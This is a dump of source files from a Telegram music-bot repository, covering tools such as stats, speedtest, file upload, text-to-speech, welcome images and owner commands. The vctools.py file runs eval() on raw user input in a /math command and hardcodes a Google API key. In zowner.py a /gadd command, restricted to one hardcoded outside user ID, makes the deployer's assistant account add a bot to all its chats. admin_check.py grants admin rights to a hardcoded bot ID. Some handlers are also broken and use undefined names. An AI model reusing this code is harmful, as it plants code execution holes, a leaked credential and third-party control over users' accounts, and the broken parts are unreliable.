adminlist[message.chat.id].append(user_id) now = int(time.time()) + 180 rel[message.chat.id] = now await message.reply_text(_["reload_2"]) except: await message.reply_text(_["reload_3"]) @app.on_message(filters.command(["reboot"]) & filters.group & ~BANNED_USERS) @AdminActual async def restartbot(client, message: Message, _): mystic = await message.reply_text(_["reload_4"].format(app.mention)) await asyncio.sleep(1) try: db[message.chat.id] = [] await Hotty.stop_stream_force(message.chat.id) except: pass userbot = await get_assistant(message.chat.id) try: if message.chat.username: await userbot.resolve_peer(message.chat.username) else: await userbot.resolve_peer(message.chat.id) except: pass chat_id = await get_cmode(message.chat.id) if chat_id: try: got = await app.get_chat(chat_id) except: pass userbot = await get_assistant(chat_id) try: if got.username: await userbot.resolve_peer(got.username) else: await userbot.resolve_peer(chat_id) except: pass try: db[chat_id] = [] await Hotty.stop_stream_force(chat_id) except: pass return await mystic.edit_text(_["reload_5"].format(app.mention)) @app.on_callback_query(filters.regex("close") & ~BANNED_USERS) async def close_menu(_, CallbackQuery): try: await CallbackQuery.answer() await CallbackQuery.message.delete() await CallbackQuery.message.reply_text( f"Cʟᴏsᴇᴅ ʙʏ : {CallbackQuery.from_user.mention}" ) except: pass @app.on_callback_query(filters.regex("stop_downloading") & ~BANNED_USERS) @ActualAdminCB async def stop_download(client, CallbackQuery: CallbackQuery, _): message_id = CallbackQuery.message.id task = lyrical.get(message_id) if not task: return await CallbackQuery.answer(_["tg_4"], show_alert=True) if task.done() or task.cancelled(): return await CallbackQuery.answer(_["tg_5"], show_alert=True) if not task.done(): try: task.cancel() try: lyrical.pop(message_id) except: pass await CallbackQuery.answer(_["tg_6"], show_alert=True) return await CallbackQuery.edit_message_text( _["tg_7"].format(CallbackQuery.from_user.mention) ) except: return await CallbackQuery.answer(_["tg_8"], show_alert=True) await CallbackQuery.answer(_["tg_9"], show_alert=True) ================================================ FILE: BrandrdXMusic/plugins/tools/speedtest.py ================================================ import asyncio import speedtest from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.decorators.language import language def testspeed(m, _): try: test = speedtest.Speedtest() test.get_best_server() m = m.edit_text(_["server_12"]) test.download() m = m.edit_text(_["server_13"]) test.upload() test.results.share() result = test.results.dict() m = m.edit_text(_["server_14"]) except Exception as e: return m.edit_text(f"{e}") return result @app.on_message(filters.command(["speedtest", "spt"]) & SUDOERS) @language async def speedtest_function(client, message: Message, _): m = await message.reply_text(_["server_11"]) loop = asyncio.get_event_loop() result = await loop.run_in_executor(None, testspeed, m, _) output = _["server_15"].format( result["client"]["isp"], result["client"]["country"], result["server"]["name"], result["server"]["country"], result["server"]["cc"], result["server"]["sponsor"], result["server"]["latency"], result["ping"], ) msg = await message.reply_photo(photo=result["share"], caption=output) await m.delete() ================================================ FILE: BrandrdXMusic/plugins/tools/stats.py ================================================ import platform from sys import version as pyver import psutil from pyrogram import __version__ as pyrover from pyrogram import filters from pyrogram.errors import MessageIdInvalid from pyrogram.types import InputMediaPhoto, Message from pytgcalls.__version__ import __version__ as pytgver import config from BrandrdXMusic import app from BrandrdXMusic.core.userbot import assistants from BrandrdXMusic.misc import SUDOERS, mongodb from BrandrdXMusic.plugins import ALL_MODULES from BrandrdXMusic.utils.database import get_served_chats, get_served_users, get_sudoers, get_queries from BrandrdXMusic.utils.decorators.language import language, languageCB from BrandrdXMusic.utils.inline.stats import back_stats_buttons, stats_buttons from config import BANNED_USERS @app.on_message(filters.command(["stats", "gstats"]) & filters.group & ~BANNED_USERS) @language async def stats_global(client, message: Message, _): upl = stats_buttons(_, True if message.from_user.id in SUDOERS else False) await message.reply_photo( photo=config.STATS_IMG_URL, caption=_["gstats_2"].format(app.mention), reply_markup=upl, ) @app.on_callback_query(filters.regex("stats_back") & ~BANNED_USERS) @languageCB async def home_stats(client, CallbackQuery, _): upl = stats_buttons(_, True if CallbackQuery.from_user.id in SUDOERS else False) await CallbackQuery.edit_message_text( text=_["gstats_2"].format(app.mention), reply_markup=upl, ) @app.on_callback_query(filters.regex("TopOverall") & ~BANNED_USERS) @languageCB async def overall_stats(client, CallbackQuery, _): await CallbackQuery.answer() upl = back_stats_buttons(_) try: await CallbackQuery.answer() except: pass await CallbackQuery.edit_message_text(_["gstats_1"].format(app.mention)) served_chats = len(await get_served_chats()) served_users = len(await get_served_users()) total_queries = await get_queries() text = _["gstats_3"].format( app.mention, len(assistants), len(BANNED_USERS), served_chats, served_users, total_queries, len(ALL_MODULES), len(SUDOERS), config.AUTO_LEAVING_ASSISTANT, config.DURATION_LIMIT_MIN, ) med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text) try: await CallbackQuery.edit_message_media(media=med, reply_markup=upl) except MessageIdInvalid: await CallbackQuery.message.reply_photo( photo=config.STATS_IMG_URL, caption=text, reply_markup=upl ) @app.on_callback_query(filters.regex("bot_stats_sudo")) @languageCB async def bot_stats(client, CallbackQuery, _): if CallbackQuery.from_user.id not in SUDOERS: return await CallbackQuery.answer(_["gstats_4"], show_alert=True) upl = back_stats_buttons(_) try: await CallbackQuery.answer() except: pass await CallbackQuery.edit_message_text(_["gstats_1"].format(app.mention)) p_core = psutil.cpu_count(logical=False) t_core = psutil.cpu_count(logical=True) ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " ɢʙ" try: cpu_freq = psutil.cpu_freq().current if cpu_freq >= 1000: cpu_freq = f"{round(cpu_freq / 1000, 2)}ɢʜᴢ" else: cpu_freq = f"{round(cpu_freq, 2)}ᴍʜᴢ" except: cpu_freq = "ғᴀɪʟᴇᴅ ᴛᴏ ғᴇᴛᴄʜ" hdd = psutil.disk_usage("/") total = hdd.total / (1024.0**3) used = hdd.used / (1024.0**3) free = hdd.free / (1024.0**3) call = await mongodb.command("dbstats") datasize = call["dataSize"] / 1024 storage = call["storageSize"] / 1024 served_chats = len(await get_served_chats()) served_users = len(await get_served_users()) text = _["gstats_5"].format( app.mention, len(ALL_MODULES), platform.system(), ram, p_core, t_core, cpu_freq, pyver.split()[0], pyrover, pytgver, str(total)[:4], str(used)[:4], str(free)[:4], served_chats, served_users, len(BANNED_USERS), len(await get_sudoers()), str(datasize)[:6], storage, call["collections"], call["objects"], ) med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text) try: await CallbackQuery.edit_message_media(media=med, reply_markup=upl) except MessageIdInvalid: await CallbackQuery.message.reply_photo( photo=config.STATS_IMG_URL, caption=text, reply_markup=upl ) ================================================ FILE: BrandrdXMusic/plugins/tools/telegraph.py ================================================ import os from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import app import requests def upload_file(file_path): url = "https://catbox.moe/user/api.php" data = {"reqtype": "fileupload", "json": "true"} files = {"fileToUpload": open(file_path, "rb")} response = requests.post(url, data=data, files=files) if response.status_code == 200: return True, response.text.strip() else: return False, f"ᴇʀʀᴏʀ: {response.status_code} - {response.text}" @app.on_message(filters.command(["tgm", "tgt", "telegraph", "tl"])) async def get_link_group(client, message): if not message.reply_to_message: return await message.reply_text( "Pʟᴇᴀsᴇ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ Tᴇʟᴇɢʀᴀᴘʜ" ) media = message.reply_to_message file_size = 0 if media.photo: file_size = media.photo.file_size elif media.video: file_size = media.video.file_size elif media.document: file_size = media.document.file_size if file_size > 200 * 1024 * 1024: return await message.reply_text("Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ᴜɴᴅᴇʀ 200MB.") try: text = await message.reply("Pʀᴏᴄᴇssɪɴɢ...") async def progress(current, total): try: await text.edit_text(f"📥 Dᴏᴡɴʟᴏᴀᴅɪɴɢ... {current * 100 / total:.1f}%") except Exception: pass try: local_path = await media.download(progress=progress) await text.edit_text("📤 Uᴘʟᴏᴀᴅɪɴɢ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ...") success, upload_path = upload_file(local_path) if success: await text.edit_text( f"🌐 | [ᴜᴘʟᴏᴀᴅᴇᴅ ʟɪɴᴋ]({upload_path})", reply_markup=InlineKeyboardMarkup( [ [ InlineKeyboardButton( "ᴜᴘʟᴏᴀᴅᴇᴅ ғɪʟᴇ", url=upload_path, ) ] ] ), ) else: await text.edit_text( f"ᴀɴ ᴇʀʀᴏʀ ᴏᴄᴄᴜʀʀᴇᴅ ᴡʜɪʟᴇ ᴜᴘʟᴏᴀᴅɪɴɢ ʏᴏᴜʀ ғɪʟᴇ\n{upload_path}" ) try: os.remove(local_path) except Exception: pass except Exception as e: await text.edit_text(f"❌ Fɪʟᴇ ᴜᴘʟᴏᴀᴅ ғᴀɪʟᴇᴅ\n\nRᴇᴀsᴏɴ: {e}") try: os.remove(local_path) except Exception: pass return except Exception: pass __HELP__ = """ **ᴛᴇʟᴇɢʀᴀᴘʜ ᴜᴘʟᴏᴀᴅ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs** ᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ: - `/tgm`: ᴜᴘʟᴏᴀᴅ ʀᴇᴘʟɪᴇᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ. - `/tgt`: sᴀᴍᴇ ᴀs `/tgm`. - `/telegraph`: sᴀᴍᴇ ᴀs `/tgm`. - `/tl`: sᴀᴍᴇ ᴀs `/tgm`. **ᴇxᴀᴍᴘʟᴇ:** - ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴘʜᴏᴛᴏ ᴏʀ ᴠɪᴅᴇᴏ ᴡɪᴛʜ `/tgm` ᴛᴏ ᴜᴘʟᴏᴀᴅ ɪᴛ. **ɴᴏᴛᴇ:** ʏᴏᴜ ᴍᴜsᴛ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ғᴏʀ ᴛʜᴇ ᴜᴘʟᴏᴀᴅ ᴛᴏ ᴡᴏʀᴋ. """ __MODULE__ = "Tᴇʟᴇɢʀᴀᴘʜ" ================================================ FILE: BrandrdXMusic/plugins/tools/tts.py ================================================ import io from gtts import gTTS from pyrogram import filters from BrandrdXMusic import app @app.on_message(filters.command("tts")) async def text_to_speech(client, message): if len(message.command) < 2: return await message.reply_text( "Please provide some text to convert to speech." ) text = message.text.split(None, 1)[1] tts = gTTS(text, lang="hi") audio_data = io.BytesIO() tts.write_to_fp(audio_data) audio_data.seek(0) audio_file = io.BytesIO(audio_data.read()) audio_file.name = "audio.mp3" await message.reply_audio(audio_file) __HELP__ = """ **ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅ** ᴜsᴇ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴄᴏɴᴠᴇʀᴛ ᴛᴇxᴛ ɪɴᴛᴏ sᴘᴇᴇᴄʜ. - `/tts <ᴛᴇxᴛ>`: ᴄᴏɴᴠᴇʀᴛs ᴛʜᴇ ɢɪᴠᴇɴ ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ɪɴ ʜɪɴᴅɪ. **ᴇxᴀᴍᴘʟᴇ:** - `/tts Namaste Duniya` **ɴᴏᴛᴇ:** ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴀғᴛᴇʀ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ. """ __MODULE__ = "Tᴛs" ================================================ FILE: BrandrdXMusic/plugins/tools/vctools.py ================================================ from pyrogram import Client, filters from pyrogram.types import Message from BrandrdXMusic import app from pyrogram import * from pyrogram.types import * from config import OWNER_ID from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall from pyrogram.raw.types import InputGroupCall from BrandrdXMusic.utils.database import get_assistant from telethon.tl.functions.phone import ( CreateGroupCallRequest, DiscardGroupCallRequest, GetGroupCallRequest, InviteToGroupCallRequest, ) # vc on @app.on_message(filters.video_chat_started) async def brah(_, msg): await msg.reply("**😍ᴠɪᴅᴇᴏ ᴄʜᴀᴛ sᴛᴀʀᴛᴇᴅ🥳**") # vc off @app.on_message(filters.video_chat_ended) async def brah2(_, msg): await msg.reply("**😕ᴠɪᴅᴇᴏ ᴄʜᴀᴛ ᴇɴᴅᴇᴅ💔**") # invite members on vc @app.on_message(filters.video_chat_members_invited) async def brah3(app: app, message: Message): text = f"➻ {message.from_user.mention}\n\n**๏ ɪɴᴠɪᴛɪɴɢ ɪɴ ᴠᴄ ᴛᴏ :**\n\n**➻ **" x = 0 for user in message.video_chat_members_invited.users: try: text += f"[{user.first_name}](tg://user?id={user.id}) " x += 1 except Exception: pass try: invite_link = await app.export_chat_invite_link(message.chat.id) add_link = f"https://t.me/{app.username}?startgroup=true" reply_text = f"{text} 🤭🤭" await message.reply( reply_text, reply_markup=InlineKeyboardMarkup( [ [InlineKeyboardButton(text="๏ ᴊᴏɪɴ ᴠᴄ ๏", url=add_link)], ] ), ) except Exception as e: print(f"Error: {e}") #### @app.on_message(filters.command("math", prefixes="/")) def calculate_math(client, message): expression = message.text.split("/math ", 1)[1] try: result = eval(expression) response = f"ᴛʜᴇ ʀᴇsᴜʟᴛ ɪs : {result}" except: response = "ɪɴᴠᴀʟɪᴅ ᴇxᴘʀᴇssɪᴏɴ" message.reply(response) @app.on_message(filters.command(["spg"], ["/", "!", "."])) async def search(event): msg = await event.respond("Searching...") async with aiohttp.ClientSession() as session: start = 1 async with session.get( f"https://content-customsearch.googleapis.com/customsearch/v1?cx=ec8db9e1f9e41e65e&q={event.text.split()[1]}&key=AIzaSyAa8yy0GdcGPHdtD083HiGGx_S0vMPScDM&start={start}", headers={"x-referer": "https://explorer.apis.google.com"}, ) as r: response = await r.json() result = "" if not response.get("items"): return await msg.edit("No results found!") for item in response["items"]: title = item["title"] link = item["link"] if "/s" in item["link"]: link = item["link"].replace("/s", "") elif re.search(r"\/\d", item["link"]): link = re.sub(r"\/\d", "", item["link"]) if "?" in link: link = link.split("?")[0] if link in result: # remove duplicates continue result += f"{title}\n{link}\n\n" prev_and_next_btns = [ Button.inline("▶️Next▶️", data=f"next {start+10} {event.text.split()[1]}") ] await msg.edit(result, link_preview=False, buttons=prev_and_next_btns) await session.close() ================================================ FILE: BrandrdXMusic/plugins/tools/welcome.py ================================================ import os from PIL import ImageDraw, Image, ImageFont, ImageChops from pyrogram import * from pyrogram.types import * from logging import getLogger from BrandrdXMusic import app LOGGER = getLogger(__name__) class WelDatabase: def __init__(self): self.data = {} async def find_one(self, chat_id): return chat_id in self.data async def add_wlcm(self, chat_id): self.data[chat_id] = {} async def rm_wlcm(self, chat_id): if chat_id in self.data: del self.data[chat_id] wlcm = WelDatabase() class temp: ME = None CURRENT = 2 CANCEL = False MELCOW = {} U_NAME = None B_NAME = None def circle(pfp, size=(500, 500)): pfp = pfp.resize(size, Image.LANCZOS).convert("RGBA") bigsize = (pfp.size[0] * 3, pfp.size[1] * 3) mask = Image.new("L", bigsize, 0) draw = ImageDraw.Draw(mask) draw.ellipse((0, 0) + bigsize, fill=255) mask = mask.resize(pfp.size, Image.LANCZOS) mask = ImageChops.darker(mask, pfp.split()[-1]) pfp.putalpha(mask) return pfp def welcomepic(pic, user, chatname, id, uname): background = Image.open("BrandrdXMusic/assets/Brandedwel2.png") pfp = Image.open(pic).convert("RGBA") pfp = circle(pfp) pfp = pfp.resize((825, 824)) draw = ImageDraw.Draw(background) font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=110) welcome_font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=60) draw.text((2100, 1420), f'ID: {id}', fill=(12000, 12000, 12000), font=font) pfp_position = (1990, 435) background.paste(pfp, pfp_position, pfp) background.save(f"downloads/welcome#{id}.png") return f"downloads/welcome#{id}.png" @app.on_chat_member_updated(filters.group, group=-3) async def greet_group(_, member: ChatMemberUpdated): chat_id = member.chat.id A = await wlcm.find_one(chat_id) if ( not member.new_chat_member or member.new_chat_member.status in {"banned", "left", "restricted"} or member.old_chat_member ): return user = member.new_chat_member.user if member.new_chat_member else member.from_user try: pic = await app.download_media( user.photo.big_file_id, file_name=f"pp{user.id}.png" ) except AttributeError: pic = "BrandrdXMusic/assets/Brandedwel2.png" if (temp.MELCOW).get(f"welcome-{member.chat.id}") is not None: try: await temp.MELCOW[f"welcome-{member.chat.id}"].delete() except Exception as e: LOGGER.error(e) try: welcomeimg = welcomepic( pic, user.first_name, member.chat.title, user.id, user.username ) temp.MELCOW[f"welcome-{member.chat.id}"] = await app.send_photo( member.chat.id, photo=welcomeimg, caption=f""" 𝗪𝗲𝗹𝗰𝗼𝗺𝗲 𝗧𝗼 {member.chat.title} ➖➖➖➖➖➖➖➖➖➖➖ ๏ 𝗡𝗔𝗠𝗘 ➠ {user.mention} ๏ 𝗜𝗗 ➠ {user.id} ๏ 𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄 ➠ @{user.username} ๏ 𝐌𝐀𝐃𝐄 𝐁𝐘 ➠ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚 📿](https://t.me/BRANDEDKING8) ➖➖➖➖➖➖➖➖➖➖➖ """, reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(f"⦿ ᴀᴅᴅ ᴍᴇ ⦿", url=f"https://t.me/Sustumm_music_bot?startgroup=true")]]) ) except Exception as e: LOGGER.error(e) try: os.remove(f"downloads/welcome#{user.id}.png") os.remove(f"downloads/pp{user.id}.png") except Exception as e: pass @app.on_message(filters.new_chat_members & filters.group, group=-1) async def bot_wel(_, message): for u in message.new_chat_members: if u.id == app.me.id: await app.send_message(LOG_CHANNEL_ID, f""" NEW GROUP ➖➖➖➖➖➖➖➖➖➖➖ 𝗡𝗔𝗠𝗘: {message.chat.title} 𝗜𝗗: {message.chat.id} 𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄: @{message.chat.username} ➖➖➖➖➖➖➖➖➖➖➖ """) ================================================ FILE: BrandrdXMusic/plugins/tools/zowner.py ================================================ import asyncio from pyrogram import Client, filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from BrandrdXMusic import app from BrandrdXMusic.mongo.afkdb import LOGGERS as OWNERS from BrandrdXMusic.utils.database import add_served_chat, get_assistant @app.on_message(filters.command("repo")) async def help(client: Client, message: Message): await message.reply_photo( photo=f"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg", caption=f"""🍁𝐂𝐋𝐈𝐂𝐊🥰𝐁𝐄𝐋𝐎𝐖💝𝐁𝐔𝐓𝐓𝐎𝐍✨𝐓𝐎🙊𝐆𝐄𝐓🌱𝐑𝐄𝐏𝐎🍁""", reply_markup=InlineKeyboardMarkup( [ [ InlineKeyboardButton( "ƨσʋяcɛ", url=f"https://github.com/WCGKING/BrandrdXMusic" ) ] ] ), ) @app.on_message(filters.command("clone")) async def clones(client: Client, message: Message): await message.reply_photo( photo=f"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg", caption=f"""**🙂You Are Not Sudo User So You Are Not Allowed To Clone Me.**\n**😌Click Given Below Button And Host Manually Otherwise Contact Owner Or Sudo Users For Clone.**""", reply_markup=InlineKeyboardMarkup( [ [ InlineKeyboardButton( "ƨσʋяcɛ", url=f"https://github.com/WCGKING/BrandrdXMusic" ) ] ] ), ) # --------------------------------------------------------------------------------- # @app.on_message( filters.command( ["hi", "hii", "hello", "hui", "good", "gm", "ok", "bye", "welcome", "thanks"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"], ) & filters.group ) async def bot_check(_, message): chat_id = message.chat.id await add_served_chat(chat_id) # --------------------------------------------------------------------------------- # import asyncio @app.on_message(filters.command("gadd") & filters.user(int(7250012103))) async def add_allbot(client, message): command_parts = message.text.split(" ") if len(command_parts) != 2: await message.reply( "**⚠️ ɪɴᴠᴀʟɪᴅ ᴄᴏᴍᴍᴀɴᴅ ғᴏʀᴍᴀᴛ. ᴘʟᴇᴀsᴇ ᴜsᴇ ʟɪᴋᴇ » `/gadd @Systumm_music_bot`**" ) return bot_username = command_parts[1] try: userbot = await get_assistant(message.chat.id) bot = await app.get_users(bot_username) app_id = bot.id done = 0 failed = 0 lol = await message.reply("🔄 **ᴀᴅᴅɪɴɢ ɢɪᴠᴇɴ ʙᴏᴛ ɪɴ ᴀʟʟ ᴄʜᴀᴛs!**") await userbot.send_message(bot_username, f"/start") async for dialog in userbot.get_dialogs(): if dialog.chat.id == -1001754457302: continue try: await userbot.add_chat_members(dialog.chat.id, app_id) done += 1 await lol.edit( f"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}" ) except Exception as e: failed += 1 await lol.edit( f"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅɪɴɢ ʙʏ»** @{userbot.username}" ) await asyncio.sleep(3) # Adjust sleep time based on rate limits await lol.edit( f"**➻ {bot_username} ʙᴏᴛ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ🎉**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}" ) except Exception as e: await message.reply(f"Error: {str(e)}") __MODULE__ = "Sᴏᴜʀᴄᴇ" __HELP__ = """ ## Rᴇᴘᴏ Sᴏᴜʀᴄᴇ Mᴏᴅᴜᴇ Tʜɪs ᴍᴏᴅᴜᴇ ᴘʀᴏᴠɪᴅᴇs ᴜᴛɪɪᴛʏ ᴄᴏᴍᴍᴀɴᴅs ғᴏʀ ᴜsᴇʀs ᴛᴏ ɪɴᴛᴇʀᴀᴄᴛ ᴡɪᴛʜ ᴛʜᴇ ʙᴏᴛ. ### Cᴏᴍᴍᴀɴᴅs: - `/ʀᴇᴘᴏ`: Gᴇᴛ ᴛʜᴇ ɪɴᴋ ᴛᴏ ᴛʜᴇ ʙᴏᴛ's sᴏᴜʀᴄᴇ ᴄᴏᴅᴇ ʀᴇᴘᴏsɪᴛᴏʀʏ. """ ================================================ FILE: BrandrdXMusic/utils/__init__.py ================================================ from .channelplay import * from .database import * from .decorators import * from .extraction import * from .formatters import * from .inline import * from .pastebin import * from .sys import * ================================================ FILE: BrandrdXMusic/utils/admin_check.py ================================================ from pyrogram.types import Message from pyrogram.enums import ChatType, ChatMemberStatus async def admin_check(message: Message) -> bool: if not message.from_user: return False if message.chat.type not in [ChatType.SUPERGROUP, ChatType.CHANNEL]: return False if message.from_user.id in [ 777000, # Telegram Service Notifications 6534087733, # GroupwcgbrandedBot ]: return True client = message._client chat_id = message.chat.id user_id = message.from_user.id check_status = await client.get_chat_member(chat_id=chat_id, user_id=user_id) if check_status.status not in [ ChatMemberStatus.OWNER, ChatMemberStatus.ADMINISTRATOR ]: return False else: return True ================================================ FILE: BrandrdXMusic/utils/branded_ban.py ================================================ from pyrogram import filters from BrandrdXMusic.utils.admin_check import admin_check USE_AS_BOT = True def f_sudo_filter(filt, client, message): return bool( ( (message.from_user and message.from_user.id in SUDO_USERS) or (message.sender_chat and message.sender_chat.id in SUDO_USERS) ) and # t, lt, fl 2013 not message.edit_date ) sudo_filter = filters.create(func=f_sudo_filter, name="SudoFilter") def onw_filter(filt, client, message): if USE_AS_BOT: return bool( True and # message.from_user.id in SUDO_USERS # t, lt, fl 2013 not message.edit_date ) else: return bool( message.from_user and message.from_user.is_self and # t, lt, fl 2013 not message.edit_date ) f_onw_fliter = filters.create(func=onw_filter, name="OnwFilter") async def admin_filter_f(filt, client, message): return ( # t, lt, fl 2013 not message.edit_date and await admin_check(message) ) admin_filter = filters.create(func=admin_filter_f, name="AdminFilter") ================================================ FILE: BrandrdXMusic/utils/branded_font.py ================================================ class Fonts: def typewriter(text): style = { "a": "𝚊", "b": "𝚋", "c": "𝚌", "d": "𝚍", "e": "𝚎", "f": "𝚏", "g": "𝚐", "h": "𝚑", "i": "𝚒", "j": "𝚓", "k": "𝚔", "l": "𝚕", "m": "𝚖", "n": "𝚗", "o": "𝚘", "p": "𝚙", "q": "𝚚", "r": "𝚛", "s": "𝚜", "t": "𝚝", "u": "𝚞", "v": "𝚟", "w": "𝚠", "x": "𝚡", "y": "𝚢", "z": "𝚣", "A": "𝙰", "B": "𝙱", "C": "𝙲", "D": "𝙳", "E": "𝙴", "F": "𝙵", "G": "𝙶", "H": "𝙷", "I": "𝙸", "J": "𝙹", "K": "𝙺", "L": "𝙻", "M": "𝙼", "N": "𝙽", "O": "𝙾", "P": "𝙿", "Q": "𝚀", "R": "𝚁", "S": "𝚂", "T": "𝚃", "U": "𝚄", "V": "𝚅", "W": "𝚆", "X": "𝚇", "Y": "𝚈", "Z": "𝚉", } for i, j in style.items(): text = text.replace(i, j) return text def outline(text): style = { "a": "𝕒", "b": "𝕓", "c": "𝕔", "d": "𝕕", "e": "𝕖", "f": "𝕗", "g": "𝕘", "h": "𝕙", "i": "𝕚", "j": "𝕛", "k": "𝕜", "l": "𝕝", "m": "𝕞", "n": "𝕟", "o": "𝕠", "p": "𝕡", "q": "𝕢", "r": "𝕣", "s": "𝕤", "t": "𝕥", "u": "𝕦", "v": "𝕧", "w": "𝕨", "x": "𝕩", "y": "𝕪", "z": "𝕫", "A": "𝔸", "B": "𝔹", "C": "ℂ", "D": "𝔻", "E": "𝔼", "F": "𝔽", "G": "𝔾", "H": "ℍ", "I": "𝕀", "J": "𝕁", "K": "𝕂", "L": "𝕃", "M": "𝕄", "N": "ℕ", "O": "𝕆", "P": "ℙ", "Q": "ℚ", "R": "ℝ", "S": "𝕊", "T": "𝕋", "U": "𝕌", "V": "𝕍", "W": "𝕎", "X": "𝕏", "Y": "𝕐", "Z": "ℤ", "0": "𝟘", "1": "𝟙", "2": "𝟚", "3": "𝟛", "4": "𝟜", "5": "𝟝", "6": "𝟞", "7": "𝟟", "8": "𝟠", "9": "𝟡", } for i, j in style.items(): text = text.replace(i, j) return text def serief(text): style = { "a": "𝐚", "b": "𝐛", "c": "𝐜", "d": "𝐝", "e": "𝐞", "f": "𝐟", "g": "𝐠", "h": "𝐡", "i": "𝐢", "j": "𝐣", "k": "𝐤", "l": "𝐥", "m": "𝐦", "n": "𝐧", "o": "𝐨", "p": "𝐩", "q": "𝐪", "r": "𝐫", "s": "𝐬", "t": "𝐭", "u": "𝐮", "v": "𝐯", "w": "𝐰", "x": "𝐱", "y": "𝐲", "z": "𝐳", "A": "𝐀", "B": "𝐁", "C": "𝐂", "D": "𝐃", "E": "𝐄", "F": "𝐅", "G": "𝐆", "H": "𝐇", "I": "𝐈", "J": "𝐉", "K": "𝐊", "L": "𝐋", "M": "𝐌", "N": "𝐍", "O": "𝐎", "P": "𝐏", "Q": "𝐐", "R": "𝐑", "S": "𝐒", "T": "𝐓", "U": "𝐔", "V": "𝐕", "W": "𝐖", "X": "𝐗", "Y": "𝐘", "Z": "𝐙", "0": "𝟎", "1": "𝟏", "2": "𝟐", "3": "𝟑", "4": "𝟒", "5": "𝟓", "6": "𝟔", "7": "𝟕", "8": "𝟖", "9": "𝟗", } for i, j in style.items(): text = text.replace(i, j) return text def bold_cool(text): style = { "a": "𝒂", "b": "𝒃", "c": "𝒄", "d": "𝒅", "e": "𝒆", "f": "𝒇", "g": "𝒈", "h": "𝒉", "i": "𝒊", "j": "𝒋", "k": "𝒌", "l": "𝒍", "m": "𝒎", "n": "𝒏", "o": "𝒐", "p": "𝒑", "q": "𝒒", "r": "𝒓", "s": "𝒔", "t": "𝒕", "u": "𝒖", "v": "𝒗", "w": "𝒘", "x": "𝒙", "y": "𝒚", "z": "𝒛", "A": "𝑨", "B": "𝑩", "C": "𝑪", "D": "𝑫", "E": "𝑬", "F": "𝑭", "G": "𝑮", "H": "𝑯", "I": "𝑰", "J": "𝑱", "K": "𝑲", "L": "𝑳", "M": "𝑴", "N": "𝑵", "O": "𝑶", "P": "𝑷", "Q": "𝑸", "R": "𝑹", "S": "𝑺", "T": "𝑻", "U": "𝑼", "V": "𝑽", "W": "𝑾", "X": "𝑿", "Y": "𝒀", "Z": "𝒁", } for i, j in style.items(): text = text.replace(i, j) return text def cool(text): style = { "a": "𝑎", "b": "𝑏", "c": "𝑐", "d": "𝑑", "e": "𝑒", "f": "𝑓", "g": "𝑔", "h": "ℎ", "i": "𝑖", "j": "𝑗", "k": "𝑘", "l": "𝑙", "m": "𝑚", "n": "𝑛", "o": "𝑜", "p": "𝑝", "q": "𝑞", "r": "𝑟", "s": "𝑠", "t": "𝑡", "u": "𝑢", "v": "𝑣", "w": "𝑤", "x": "𝑥", "y": "𝑦", "z": "𝑧", "A": "𝐴", "B": "𝐵", "C": "𝐶", "D": "𝐷", "E": 